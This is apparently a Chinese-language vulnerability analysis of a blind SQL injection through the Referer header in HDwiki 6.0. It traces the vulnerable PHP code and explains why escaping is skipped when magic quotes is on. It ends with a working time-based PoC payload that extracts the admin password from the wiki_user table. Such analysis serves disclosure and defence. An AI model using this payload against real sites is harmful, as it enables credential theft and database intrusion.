HDwiki6.0前台Refer注入

正文索引 [隐藏]

HDwiki6.0正式版 前台Refer注入

漏洞信息:HDwiki6.0
利用条件:php版本低于5.4且开启GPC
注入类型:Sql盲注
参考链接:https://www.freebuf.com/vuls/170337.html

定位代码

    E:\phpStudy\PHPTutorial\WWW\hdwiki\control\user.php
    114行
    $_ENV['user']->add_referer();

继续跟进文件

E:\phpStudy\PHPTutorial\WWW\hdwiki\model\user.class.php

function add_referer(){
    		if($_SERVER['HTTP_REFERER']){
    			$this->db->query("UPDATE ".DB_TABLEPRE."session SET referer ='".string::haddslashes($_SERVER['HTTP_REFERER'])."' WHERE sid='".base::hgetcookie('sid')."'");
    		}

其中使用haddslashes参数来进行过滤,我们继续跟进haddslashes参数。

    E:\phpStudy\PHPTutorial\WWW\hdwiki\lib\string.class.php
    	function haddslashes($string, $force = 0) {
    		if(!MAGIC_QUOTES_GPC || $force) {
    			if(is_array($string)) {
    				foreach($string as $key => $val) {
    					$string[$key] = string::haddslashes($val, $force);
    				}
    			}else {
    				$string = addslashes($string);
    			}
    		}
    		return $string;
    	}

这里可以看到当开启MAGIC_QUOTES_GPC的情况下,则直接返回string。MAGIC_QUOTES_GPC会对$GET $POST $COOKIE进行过滤转义,但不会对Rerfer参数进行过滤。
php在5.4版本后则弃用了MAGIC_QUOTES_GPC,因此该情况决定了此漏洞的鸡肋性,漏洞必须要php版本低于5.4的情况下且开启gpc才会触发。

POC:

' where if((substr((select password from wiki_user where username='admin'),1,1))='e',sleep(5),0)#